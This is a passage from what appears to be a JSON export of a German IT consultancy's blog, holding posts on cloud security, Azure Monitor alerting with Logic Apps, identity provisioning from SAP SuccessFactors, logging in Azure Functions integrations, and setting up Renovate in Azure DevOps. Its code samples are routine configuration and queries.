SOAR vereint, sind Sie also hervorragend gewappnet.\nCloud-Security als Bestandteil der digitalen Transformation Der Anstieg an Cyberangriffen in den letzten Jahren verdeutlicht, wie wichtig das Umsetzen einer Secure-Cloud-Umgebung ist. Umso essenzieller ist es aktuell in die eigene Informationssicherheit zu investieren und eine langfristige Strategie zu verfolgen. Mit dem Zero-Trust-Prinzip steht Ihnen hierfür eine verlässliche Methode zur Verfügung. Wichtig ist jedoch, dass Sie nicht nur die passenden Lösungen einführen, sondern dabei auch Ihre Prozesse strategisch anpassen und Ihre Mitarbeitenden schulen. Die Cloud-Security sollten Sie deswegen zur Chefsache machen. Ein Experte im Bereich Cloud Security kann Sie gezielt unterstützen. Objektkultur versteht sich hierbei als Partner auf Augenhöhe, der Sie bei der digitalen Transformation ganzheitlich begleitet. Nehmen Sie jetzt Kontakt zu uns auf , um Ihre Fragen und Anforderungen zu klären. Im Rahmen eines individuellen Workshops erstellen wir mit Ihnen eine passende Strategie und einen Umsetzungsplan zur Cybersecurity für Ihr Unternehmen.\nQuellen https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWJJdU https://www.bka.de/SharedDocs/Downloads/DE/Publikationen/JahresberichteUndLagebilder/Cybercrime/cybercrimeBundeslagebild2020.html?nn=28110 https://www.infoguard.ch/de/blog/soar-und-siem-so-aehnlich-und-doch-ganz-verschieden https://docs.microsoft.com/de-DE/security/zero-trust/ ","date":"24. Februar 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/cloud-security-zur-chefsache-machen_hud505e1c0bb2ac9e35218a765cde7d436_50557_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/cloud-security-zur-chefsache-machen_hud505e1c0bb2ac9e35218a765cde7d436_50557_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/cloud-security-zur-chefsache-machen/","tags":["security"],"title":"Cloud-Security zur Chefsache machen"},{"categories":["Insights"],"contents":"Alerts are a blessing.\nInstead of having to keep an eye on your resources all day you simply configure alerts to make them notify you about your events of interest. But, lately I\u0026rsquo;ve been wondering - given the amount of different signal types and monitoring services there are - what would be a good setup to actually integrate them and build a manageable and streamlined alerting experience?\nLogic Apps and the common alert schema to the rescue.\nCommon alert schema The common alert schema unifies the payloads emitted by all the alerts, whether it is a metric, log or activity log alert. They now share a common set of fields called Essentials and alert-specific fields called Alert Context. This allows for easy and standardized consumption of notifications. To make an alert use the common alert schema you have to opt-in for it in your action group.\nNow that all the alerts being taken action on through your common alert schema enabled action group, let\u0026rsquo;s build a Logic App battery to deliver them!\nDispatcher Logic App Taking advantage of the common alert schema structure I wired up a dispatcher Logic App switching on the different signal types and monitoring services. Depending on the alert this Logic App then forwards the payload to the respectice worker Logic App built for processing exactly that type of Alert Context.\nThis has two advantages. First, you can just call the dispatcher Logic App from within your action group regardless of the underlying type of alert. Second, things are logically separated and your Logic Apps won\u0026rsquo;t become too complex.\nBelow is a picture of the dispatcher Logic App in the Designer so you can get the idea.\nWorker Logic Apps From within the separate worker Logic Apps for each type of alert you can now setup your notifications and deliver them wherever you want. Extract all the information you need from the Alert Context and your configured dimensions and - as an example - post a notification to a Microsoft Teams channel. Unlimited possibilities!\nHave a look at one of my worker Logic Apps below.\nTo make the worker Logic Apps even more concise I think you could safely ditch the payload verification steps there as they are already implemented by the dispatcher Logic App, but you know - better safe than sorry.\nThat\u0026rsquo;s all for now.\nAbsolutely check out the Microsoft Docs from where I did get my inspiration to this topic from, especially these articles are worth a read -\nCommon alert schema definitions How to trigger complex actions with Azure Monitor alerts ","date":"18. Februar 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hu4cc45562856e3fa815d11f501947f581_38496_4498ed66022ff344fef62d9c4b9fdd94.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hu4cc45562856e3fa815d11f501947f581_38496_5be615f3d397174d4635611316b920ae.jpg'\"\u003e\n \n \n \n\n","permalink":"/building-a-manageable-and-streamlined-alerting-experience-with-logic-apps-and-azure-monitor-alerts/","tags":["azure","automation"],"title":"Building a manageable and streamlined Alerting experience with Logic Apps and Azure Monitor Alerts"},{"categories":["Insights","Serien"],"contents":"Identity Governance – The life cycles When I talk about Identity Governance, I focus on three main “life” cycles:\nIdentity: The whole lifecycle of a user in a company. In our words the standard “Starter, Changer, Leaver” processes (E.g., a user is hired in a company, changes department or leaves the company). Access: All access related actions within the user life cycle based on e.g., job changes. Privileged access: Admin rights on services and resources which are not needed the whole time and are mostly safety critical. Each of these life cycles are part of every company, in more or less complex environments. In this blog series I want to describe the basics on each of the cycles, in a cloud first approach. So, we focus on the governance areas in Azure and what currently is the state-of-the-art components. In this first blog post the focus is on the Identity Management and basically on these key aspects:\nCompare of current on-premises IDM solution and cloud first approach Main aspects regarding a cloud first solution with the provisioning service Architecture on-premises vs. cloud first (MIM vs. Provisioning Service) Identity Management builds the basis for the configuration and living of the access management lifecycles. In the best case all relevant processes are implemented in an automated way and resolve in consistent accounts over all central applications (in our scenarios mainly Active Directory and Azure Active Directory). So all Starter, Changer and Leaver processes are covered and accounts have at any time the most recent data on them.\nData is primary maintained in HR systems like SAP and transferred via different solutions to Microsoft AD’s. In the most current scenarios, the Microsoft Identity Manager is the single point of truth for all of the internal and external user accounts and secures the adherence to the compliance guidelines. An architecture can look like this:\nThe data, centralized managed in an HR System, is synchronized via MIM-Sync-Server to AD, SQL, and other systems like SAP to create and maintain for every user a single account. Additionally in most scenarios the MIM-Service-Server (MIM Portal) is used to built up workflows and rules to maintain the accounts to reflect all IDM related processes of the company. This architecture has a huge focus on on-premises and the transfer to a cloud first approach with Azure is a main topic in the current time. To provide these synchronization functionalities the Azure AD Provisioning Services is the current solution in Azure instead of using MIM. The architecture could look like this nowadays (in a hybrid scenario with a leading AD system on-premises):\nYou can also find a more detailed explanation of this scenario in our solution paper. . In this architecture the main focus is in the cloud and the generation of hybrid accounts. They are synchronized by the provisioning service to AD and afterwards via Azure AD Connect to the cloud. After that there is the possibility to user another Service or SCIM endpoints to export the data to the related target systems.\nFor cloud only accounts the provisioning service also can be used to achieve a direct synchronization between the HR-system and Azure AD:\nImportant restriction currently is, that the provisioning service can only be integrated with SAP SuccessFactors and Workday (status 01.01.22). Microsoft is currently also working on more integration possibilities like CSV file processing or direct REST API usage. But in the current state only the Workday and SuccessFactors applications can be found in the Azure AD Gallery:\nSetup the provisioning service – The Sticking points Basically, the provisioning services is an enterprise application which can be simply added via the Azure AD gallery. There are a few different applications for the main scenarios:\nHR-System to Active Directory on-premises for on-premises only or hybrid accounts HR-System to Azure Active Directory for cloud only accounts Azure Active Directory to HR-Systems for writeback scenarios (like mail where Azure is leading) Next step is to configure the access to the HR-System and Active Directory or Azure on the other side. Especially for the on-premises synchronization to AD another component, the “Provisioning Agent”, is needed to transfer the outgoing requests from the service to the LDAP language of AD. All these installation steps and configurations are well described in the existing documentation and work fine, so I want to give some dedicated input on interesting aspects within the service, based on the scenario “SAP SuccessFactors to Active Directory”:\nMain work: Configuration Instead of current solutions like MIM, Graph, PowerShell etc., the provisioning service is mainly a configurable service where VBA like functions, JSON expression for attribute definition and the UI in Azure Portal are used to define the whole synchronization. For example, a switch function can be used:\nTherefore, it is a low-threshold entry to provide the basic functions and no deep knowledge of a dedicated coding language is necessary.\nUse multiple services with Scoping With the scoping mechanism based on dedicated HR attributes the service can be configured to synchronize only users which fall into that scope. So not only one enterprise application covers all of the processes, for example multiple services can be configured in parallel to solve scenarios:\nService 1: Creation and Maintenance for all user accounts from company A to Active Directory Service 2: Creation and Maintenance for cloud only accounts based on specific attributes in Azure Active Directory Service 3: Termination of all user accounts who are not in company A anymore or switched to company B: Understand the delivered data A big effort at the beginning of the implementation of the provisioning service is the understanding of the HR data. As in the old architecture with MIM, it must be clear which data is delivered from HR and also in which quality. SAP SuccessFactors for example can create own entity types or attributes which must be defined individual in the attribute mappings from the service. Also, the rights on these additional parameters must be set in the HR system so the service can access all of them correctly. A clear and direct communication with the HR colleagues at the beginning is therefore mandatory. To test basically the rights and the delivered data from SAP SF a postman Environment can be built up to test in a fast way whether the access is granted for the specific users and to understand the data. A result JSON can look like this (extract):\nTo send the request to SAP SF the following URL can be used. Additonally the „apiURL“ (SAP SF API URL), the filter „personIdExternal“ (The personIdExternal of the SAP SF account) and the authorizationHeader must be defined in Postman to send the request. Besides that in the expand parameter all necessary entities from SAP SF must be set to get this entity in the result. The syntax is like a tree to navigate through the JSON. Like in the following request it starts with the „employmentNav“-entity, and the next leaf is the „userNav“-entity:\nhttps://{{apiurl}}/odata/v2/PerPerson?$format=json\u0026amp;$filter=(personIdExternal in \u0026#39;{{personIdExternal}}\u0026#39;)\u0026amp;$expand=employmentNav/userNav,employmentNav/jobInfoNav, Logs and Testing The log of the service gives a lot of information about what the service synchronizes or tries to do in AD. There is the option to “provisioning user on demand”, so on dedicated objects the implemented processes can be tested. But there is no preview functionality to have a full overview about what synchronizations will happen for the hundreds or thousands of accounts after the provisioning is activated. A workaround for that is to remove the rights of the service (Create, Update, Delete) and run the synchronization for all accounts.\nThe service will try to synchronize the scoped accounts based on the implemented logic. These actions will be logged and e.g., for the skipped actions the logs can be downloaded and analyzed whether the creations are correct, and the rights can be granted:\nKnow the limitations The provisioning service is currently under fast development (As of 01.02.22). Due to the basic limitation that you only can configure the application and not implement own code fragments there are some process limitations where workarounds must be implemented:\nStandard applications only available for SAP SuccessFactors and Workday Unique value generation only on create, so for example an overall name change process is not possible after creation Custom entities from SAP SuccessFactors can not be read from the service Customized code or extensions can not be implemented directly in the service (only usage of existing VBA like functions) NULL values are not processed, so no clearing of AD fields Only provision on demand for a single user is available, no preview for all changes which will happen in AD Alternatives to covering these processes include scripts on the AD side, additional manual, and organizational steps, or moving on-premises logic to additional cloud services.\nAnd now? The provisioning service is in the current implementation not an overall solution for everyone. But for the basic IDM processes and especially when SAP SuccessFactors or Workday is in use it is a lightweight configurable solution to start the synchronization to Active Directory or Azure Active Directory. Microsoft is focusing this service currently and more features will be implemented soon. Which automation gaps do you see in your IDM environment? Is a cloud first approach interesting and realizable for you? What features are missing in the provisioning service to start with an implementation?\n","date":"2. Februar 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/identity-governance-in-azure-part-1-idm-cloud-first_huc9db2dcad0f874054c5784fefd056a94_15215_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/identity-governance-in-azure-part-1-idm-cloud-first_huc9db2dcad0f874054c5784fefd056a94_15215_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/identity-governance-in-azure-part-1-idm-cloud-first/","tags":["azure","idm"],"title":"Identity Governance in Azure – Part 1: IDM Cloud-first"},{"categories":["Insights"],"contents":"Bei der Wahl der einer passenden Integrationslösung in Azure kommt man an den Azure Functions nicht umher, wenn man schnell und einfach starten möchte. Dabei bietet die Einfachheit sowohl Vor- als auch Nachteile. So können zwar die eigentlichen Herausforderungen der Datenintegration zwischen den Systemen schnell gelöst werden, doch existieren im Betrieb einige Herausforderung.\nIn diesem Beitrag möchte ich auf ein etabliertes Vorgehen einer Datenintegration bei einem vollständigen Datenabgleich eingehen. Außerdem möchte ich Tipps für die erweiterte Nutzung des Loggings um fachliche Informationen geben. Als Monitoring wird ein Beispiel für die Erstellung einer Alerting-Regel verwendet.\nDabei liegt der Fokus des Beitrags nicht auf der technischen Implementierung des Ganzen (Abruf und Speichern der Daten u.ä.), sondern legt viel mehr Wert auf den Grundsätzen der Anwendung bspw. des Vorgehens und des Loggings.\nIntegrationsszenario Um die angesprochenen Faktoren besser anwenden zu können, verwende ich für diesen Beitrag ein Beispiel. Betrachten wir hierzu eine Urlaubsverwaltung, welche auf einer einfachen Liste in SharePoint basiert. Darin können Mitarbeiter Ihren Urlaub eintragen (Start- und Endedatum). Beim speichern des Eintrags werden die Urlaubstage berechnet. Außerdem wird im Eintrag der Vorgesetzte gesetzt, welcher den Urlaub genehmigen muss.\nNun möchten wir diese Daten an ein anderes System im Unternehmen senden. Zum Beispiel möchte man diese Daten in einem Datawarehouse weiterverarbeiten, oder man benötigt diese Daten zur Ressourcenplanung der Mitarbeiter in dem jeweiligen Planungstool. So können beispielsweise Abwesenheiten automatisiert im Zielsystem angezeigt werden, ohne dass sich die Mitarbeiter z.B. weniger in ein Projekt einplanen.\nIn unserem Beispiel nehmen wir an das Ziel sei eine SQL Datenbank mit zwei Tabellen. Ein davon enthält die Übersicht aller Urlaubseinträge der Mitarbeiter mit den berechneten Urlaubstagen (also quasi eine Spiegelung der Datenhaltung in der SharePoint-Liste). Die andere Tabelle stellt die Planungstabelle der konkreten Tage dar.\nBeim Transfer der Daten von SharePoint in Richtung der SQL-Datenbank ergeben sich folgende Aufgaben:\nAbruf aller Daten der SharePoint-Liste mit den benötigten Feldern (Mitarbeiter, Vorgesetzter, Startdatum, Enddatum, Berechneter Urlaub, Genehmigungsstatus) Tabelle Urlaubsübersicht: Mapping auf die Felder/ Spalten der Zieltabelle Berechnung der Urlaubstage und Validierung mit der Eingabe aus der SharePoint-Liste Tabelle Planungsübersicht: Aufteilen der Urlaubstage auf die jeweiligen Arbeitstage Je ein Eintrag für jeden Urlaubstag der erstellt wurde. Für Tage, an denen der Mitarbeiter verplant ist, darf kein Urlaubseintrag gesetzt werden. Hier ist ein (fachlicher) Fehler zu erwarten. Um die Anforderungen besser nachzuvollziehen betrachten wir nun einen exemplarischer Eintrag in der Urlaubsliste in SharePoint und wie die resultierenden Datensätze in den Zieltabellen dargestellt.\nSharePoint:\nMitarbeiter: Waldemar Felde\nVorgesetzter: Manfred Manager\nStartdatum: 26.01.2022\nEnddatum: 30.01.2022\nBerechnete Urlaubstage: 3 (Tage)\nGenehmigt: True\nTabelle Urlaubsübersicht:\nMitarbeiter | Vorgesetzter | Startdatum | Enddatum | Berechnete Urlaubstage | Genehmigt\n[weitere Einträge]\nWaldemar Felde | Manfred Manager | 26.01.2022 | 30.01.2022 | 3 | true\n[weitere Einträge]\nTabelle Planungsübersicht:\nMitarbeiter | Projekt | Tag | Eingeplante Stunden\n[weitere Einträge]\nWaldemar Felde | Projekt A | 24.01.2022 | 8\nWaldemar Felde | Projekt A | 25.01.2022 | 8\nWaldemar Felde | Urlaub | 26.01.2022 | 8\nWaldemar Felde | Urlaub | 27.01.2022 | 8\nWaldemar Felde | Urlaub | 28.01.2022 | 8\n[weitere Einträge]\nAlerting Eine ganz zentrale Rolle beim Betrieb von Cloud-Ressourcen ist das Alerting. Im Zusammenhang mit der Datenintegration bedeutet das, fehlerhafte Ausführungen sofort erkennen zu können und entsprechende Fehlerkorrekturen durchzuführen.\nHier bieten Azure Functions mehrere Möglichkeiten, um nach bestimmten Metriken Alerting einzustellen. Eine hilfreiche einfache Search Query kann hierbei bereits die Grundsätzliche Benachrichtigung für den empfohlenen Nutzerkreis (via E-Mail) definieren, um Informiert zu werden, ob es Probleme mit der Ausführung der Azure Function gab.\nIm folgenden Listing werden die Requests nach fehlerhaften Durchläufen für den entsprechenden Functionhost und der Function gefiltert, welche als Basis für die Benachrichtigung dient.\nrequests | where success == false | where cloud_RoleName =~ \u0026#39;func-sync-SharePoint2Db\u0026#39; and operation_Name =~ \u0026#39;RecurrentSyncFunc\u0026#39; | order by timestamp desc Im Alerting sollte lediglich definiert werden, wie oft diese Query evaluiert wird. Bei wiederkehrenden Synchronisierungen (Recurrent Sync) hat sich eine aggregierte Granularität (Aggregation granularity) von 6 Stunden bei einer Frequenz von Einer Stunde als guter Richtwert bewährt. Dabei ist der Threshold allerdings bereits auf größer/ gleich 1 gesetzt. Das bedeutet, dass bereits beim ersten Auftreten des Fehlers eine Benachrichtigung versandt wird (bzw. die Search-Query für den definierten Betrachtungszeitraum mind. ein Ergebnis anzeigt).\nVorgehen Das Vorgehen bei einer vollständigen Datenintegration zwischen zwei Systemen ist unabhängig vom verwendeten Tool (Azure Function, Logic App, etc.) grundsätzlich immer gleich. Zunächst einmal ermittelt man alle Datensätze aus dem Quellsystem und anschließend die aus dem Zielsystem.\nAusgehend hiervon kann nun festgestellt werden, welche Einträge neu erstellt (Create), aktualisiert (Update) oder gelöscht (Delete) wurden. Es empfiehlt sich hier für jede Art (CRUD) einen entsprechenden Stack (Liste) an Entitäten aufzubauen, welche im weiteren Verlauf der Integration Abgearbeitet werden sollen.\nFalls die Daten auch in weiteren Zielsystemen importiert und vorher noch in ein anderes Datenformat gebracht werden sollen, empfiehlt es sich hier diese auch gekoppelt durchzuführen. Auf unser Beispiel bezogen wären das z.B. bei der Urlaubsbuchung auch die Anlage eines Datensatzes in der Urlaubsübersicht und drei Datensätze die in der Planungsübersicht.\nLogging Um bereits im Logging feststellen zu können, warum Daten nicht modifiziert, transferiert und gespeichert werden konnten, empfiehlt es sich auch hier strukturiert vorzugehen und das Logging auch mit fachlichen Informationen zu versehen.\nZunächst einmal sollte man das oben erwähnte Vorgehen um ein entsprechendes Logging anreichern. Hierbei ist es wichtig mit Schlüsselwörtern zu arbeiten. Der Logeintrag für den Vergleich zwischen Quell- und Zielsystem kann beispielsweise so aussehen:\nFetch Data – SharePoint (SRC): 1337 / DB (DST): 1234 Mittels der Schlüsselwörter vor dem Bindestrich kann man damit direkt im Code die Entsprechende Stelle suchen, an der der Logeintrag entsteht und mögliche Bugs schneller ausfindig machen.\nDas Durchführen der entsprechenden CRUD-Datensätze kann auch nach einem ähnlichen Schema geloggt werden:\nStart Create 1 Vacations: Vacation-Entry (ID: 353134) : [Start: 26-01-2022, End: 30-01-2022, Calculated Vacation Days: 3, Employee: Waldemar Felde (ID: 254543)] successfully inserted in Urlaubsuebersicht-Table Start Create 3 corresponding Planning-Entries: Create Planning-Entry (ID: 12234): [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 26-01-2022, Planned Hours: 8] successfully inserted in Planungsübersicht-Table Create Planning-Entry (ID: 12235): [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 27-01-2022, Planned Hours: 8] successfully inserted in Planungsübersicht-Table Create Planning-Entry (ID: 12236): [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 28-01-2022, Planned Hours: 8] successfully inserted in Planungsübersicht-Table Finished Creating corresponding Planning Entries: Should: 3 / Was: 3 Finished Creating Vacation Entries - Should: 1 / Was: 1 Somit erhält man bereits viele Informationen über den Import.\nSchauen wir uns nun mal an, wie der selbe durchlauf mit einem möglichen Fehlerlogging aussehen könnte. Nehmen wir hierzu an, dass am 27.01.2022 bereits eine Planung für das Projekt A vorliegt, demnach erwarten wir hier im Logging einen (fachlichen) Fehler:\nStart Create 1 Vacations: Vacation-Entry (ID: 353134) : [Start: 26-01-2022, End: 30-01-2022, Calculated Vacation Days: 3, Employee: Waldemar Felde (ID: 254543)] successfully inserted in Urlaubsuebersicht-Table Start Create 3 corresponding Planning-Entries: Create Planning-Entry (ID: 12234): [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 26-01-2022, Planned Hours: 8] successfully inserted in Planungsübersicht-Table ERROR - Create Planning-Entry (ID: Error): Could not insert Entry [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 27-01-2022, Planned Hours: 8] in Planungsübersicht-Table / Reason: Planning-Entry for Employee: Waldemar Felde (ID: 254543) already exists (Project: Projekt A). Create Planning-Entry (ID: 12236): [Employee: Waldemar Felde (ID: 254543), Type: Urlaub, Date: 28-01-2022, Planned Hours: 8] successfully inserted in Planungsübersicht-Table Finished Creating corresponding Planning Entries: Should: 3 / Was: 2 Finished Creating Vacation Entries - Should: 1 / Was: 1 Wie man im Listing sehen kann, erhält man sofort alle Informationen, um beurteilen zu können, ob der Fehler ein technischer oder ein fachlicher ist. Mit den entsprechenden Präfixen kann auch in LogAnalytics/ AppInsights nach den entsprechenden Einträgen gesucht werden, was eine einfachere Möglichkeit der Fehleranalyse gibt.\nMan muss hierbei allerdings darauf achten, dass keine sensiblen Daten der Mitarbeiter zu sehen sind, die dem Datenschutz unterliegen. So wäre z.B. das Loggen des Impfstatus eines Mitarbeiters höchst Sensibel und darf nicht in den Logs erscheinen. Auch sollte die Menge an Informationen bewusst gewählt werden. Bei vielen Datensätzen erhält man so ein sehr großes Logging und verliert hier unter Umständen den Überblick.\nFazit Mit einigen wenigen Grundsätzen zum Vorgehen und dem Logging kann man bereits eine sehr gute und leistungsfähige Integrationslösung bereitstellen, welche sich gut und einfach warten lässt. Die Verwendung von Alerting in Azure Functions lässt mögliche Fehler frühzeitig erkennen, welche dann zeitnah behoben werden können. Es empfiehlt sich also bei der Umsetzung ein umfangreiches Logging einzusetzen, welches im späteren Betrieb die Verwaltung, Wartung und Nachvollziehbarkeit von Zusammenhängen deutlich erleichtert und mögliche Fehlerursachen schnell ausfindig machen lässt.\nNatürlich gibt es hier kein Allheilrezept, allerdings sollte man sich an den Grundsatz berufen: so viel wie nötig; so wenig wie möglich. Wenn z.B. zwischen zwei Systemen mehrere Tausend Datensätze ausgetauscht werden und man somit jedes Mal sehr viele Log-Einträge mit einer entsprechenden Größe generiert.\n","date":"28. Januar 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hub3c0b2d1c3ac14d7501ff5b1aef0bdc9_31410_40b6739d5ef63d497a080d21e950ad49.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hub3c0b2d1c3ac14d7501ff5b1aef0bdc9_31410_1e87b3c8b549dfbfc1bbc209567de0a4.jpg'\"\u003e\n \n \n \n\n","permalink":"/datenintegration-mit-azure-functions-erfahrungsbericht-und-tipps/","tags":["automation","azure"],"title":"Datenintegration mit Azure Functions: Erfahrungsbericht und Tipps"},{"categories":["How to"],"contents":"TLDNR: What is renovate and how to setup Azure DevOps\nRenovate Renovate is an open source tool that helps you to keep your dependencies up to date. When renovate bot runs, it \u0026hellip;\ndetects the dependencies in a repository, checks whether there are newer versions which can be updated to, anf if there are new versions, creates commits and pull requests to apply the updates. Automatically running renovate on regular schedule, helps you to keep your project dependencies up to date.\nRenovate supports a lot of package managers , like nuget for dotnet, npm for javascript, gradle or maven for java, or even terraform providers and a lot more.\nAzure DevOps SetUp Create a new YAML Pipeline create a new YAML pipeline azure-pipelines.yml in Azure DevOps\nschedules: - cron: \u0026#34;0 3 * * *\u0026#34; displayName: \u0026#34;Every day at 3am\u0026#34; branches: include: [main] trigger: none pool: vmImage: ubuntu-latest variables: - group: \u0026#34;renovatebot\u0026#34; steps: - bash: | git config --global user.email \u0026#39;bot@renovateapp.com\u0026#39; git config --global user.name \u0026#39;Renovate Bot\u0026#39; npx renovate env: TOKEN: $(System.AccessToken) GITHUB_COM_TOKEN: $(githubtoken) # get a token from https://github.com/settings/tokens and save it in the \u0026#39;renovatebot\u0026#39; variables group #RENOVATE_CONFIG_FILE: \u0026#34;./pipelines/renovate/config.js\u0026#34; # use this environment variable if you prefer to have the renovate pipeline definition and the config file in it\u0026#39;s own dictionary instead of the repository root. Create the renovate bot config.js file create a config.js file in the same repository as the yaml pipeline\nmodule.exports = { platform: \u0026#39;azure\u0026#39;, endpoint: \u0026#39;https://dev.azure.com/YOUR-ORG/\u0026#39;, token: process.env.TOKEN, hostRules: [ { \u0026#34;azureAutoApprove\u0026#34;: true, \u0026#34;automerge\u0026#34;: true }, ], repositories: [\u0026#39;YOUR-PROJECT/YOUR-REPO\u0026#39;], // list of repos that should be watched by renovate bot }; Create a variable group to store the GitHub Token create the renovatebot variable group and add a GitHub Token as secret. The token is used in order to increase the GitHub API limit and there does not need any special permissions, read only is sufficient.\nrun the pipeline for the first time and authorize the pipeline to use the renovate variable group.\nAuthorize the Build Service Account The first run of your pipeline will probably fail with the message You need the Git 'GenericContribute' permission to perform this action because the service account that runs the pipeline is not authorized to contribute to the repositories in your projects.\nThats because renovate contributes to your project by creating commits, branches and pull requests, therefore it\u0026rsquo;s necessary to authorize the service account which runs your YAML pipeline with the required permissions.\nAs seen in the screenshot you need to authorize the Build Service Account account with the Contribute, Contribute to pull requests and Create branch permissions to all repositories.\nWhich is the correct Build Service identity? By default, the collection-scoped identity Project Collection Build Service ({OrgName}) is used to run your YAML pipeline. If your project is configured to Limit job authorization scope to current project for non-release pipelines as described in the Azure DevOps Pipelines Docs , the project-scoped identity {Project Name} Build Service ({Org Name}) is used to run your YAML pipeline.\nHint: By authorizing the Build Service Account to all git repos, as described above, you can use a single pipeline to update all of your repositories configured in config.js.\nOnboarding Pull Request After the first successful run of renovate bot, you will get a pull request for each repository configured in config.js. This pull request (PR) is used to list what dependencies was detected and give a preview what PRs you have to expect after accepting and merging this pull request to your repository.\nIn the onboarding PR, renovate will create a renovate.json file for your repository. This is used to further configure renovate.\nRenovate in Action From now on you get pull requests from your new co-worker renovate bot.\nObjektkultur is a german software service provider and partner of Microsoft Links Renovate GitHub Project Renovate Docs Renovate Docs: Setup renovate with Azure DevOps ","date":"14. Januar 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/how-to-setup-renovate-in-azure-devops_hu9af43ba06cb9a6bf23da923a9c8e43de_12098_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/how-to-setup-renovate-in-azure-devops_hu9af43ba06cb9a6bf23da923a9c8e43de_12098_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-to-setup-renovate-in-azure-devops-to-keep-your-project-dependencies-up-to-date/","tags":["azure-devops"],"title":"How to setup renovate in Azure DevOps to keep your project dependencies up to date"},{"categories":["Insights"],"contents":"Dieses Jahr habe ich am European Collaboration \u0026amp; Cloud Summit 2021 in Düsseldorf teilgenommen. Geplant war die Konferenz für 2020 und initial auch nur im Rahmen des Collaboration Summit. Aufgrund von Corona und etlichen terminlichen Verschiebungen wurde sie nun in Präsenz abgehalten. Als kleinen Bonus hierzu wurde der Cloud Summit ebenfalls gleichzeitig ausgetragen. Hierdurch haben sich einige interessante Einblicke ergeben.\nAuf die aus meiner Sicht interessantesten Vorträge gehe ich in diesem Blog-Beitrag ein, teile meine Eindrücke und Key-Take-Aways mit euch.\nÜberblick Der European Collaboration Summit hat sich in den letzten Jahren immer weiterentwickelt und bietet aufgrund der prominent besetzten Speaker eine attraktive Konferenz für die Besucher. So ist die Konferenz primär auf Microsoft ausgerichtet und auch durch entsprechende Key Account Manager vertreten. Auch einige Microsoft-MVPs sind hier als Speaker unterwegs. Dieses Jahr hat sich allerdings auch Google angemeldet und ist mit einigen Keynotes und Speakern vertreten. Das erweitert durchaus die Sicht auf die Cloud-Technologien und gibt auch nochmal die Möglichkeit, sich in Bereiche einzufinden, die nicht zum Tagesgeschäft des Entwicklers aus dem Microsoft-Umfeld gehört.\nExploring Flow Architecutres Die Keynote von Clemens Vasters (Microsoft, Principal Architect, Messaging Services and Standards) drehte sich um die grundsätzlichen Konzepte des Messagings. Darin wurden nicht nur unterschiedliche Einblicke in umgesetzte Projekte und den damit verbunden Architekturen gegeben, sondern auch auf die Grundsätze des Eventings eingegangen. So beschrieb Clemens Vasters, dass bei der Verwendung von Messaging-Systemen zunächst betrachtet werden muss, wie die Daten erfasst werden und was diese Daten ausmacht. Erst im weiteren Verlauf werden die Daten in den Kontext von Zeit gesetzt und für eine weitere Verarbeitung zur Verfügung gestellt.\nDie erwähnten Messaging Systeme, welche z.B. Azure anbietet, sollte man in diesem Zuge auch nicht exklusiv betrachten, sondern als Ergänzung zueinander, da ein Event Grid beispielsweise andere Funktionalitäten bereitstellt, als ein Service Bus.\nDer aus meiner Sicht interessanteste Aspekt der Keynote war die Erwähnung des sogenannten CloudEvents. Hierbei geht es um die Spezifikation von Events in der Cloud – unabhängig vom Anbieter der Cloud. Das bedeutet durch diesen Standard können Gemeinsamkeiten der Events gefunden und gesetzt werden, um so eine Verwendung von Events über die Softwareherstellergrenzen hinweg zu bieten. Microsoft hat hierbei große Anteile bei der Ausarbeitung der Spezifikation gehabt.\nTesting (Feature Flags) Edin Kapic beschrieb in seiner Keynote, wie man in einer ASP.NET Core App neue Features testen kann. Im Prinzip kann man sich hierbei eine Feature-Entwicklung mit einem if-Statement vorstellen. Dabei wird gesteuert, ob ein Benutzer ein bestimmtes neues Feature nutzen kann und somit beispielsweise einzelne Komponenten der Anwendung mit neuen Features 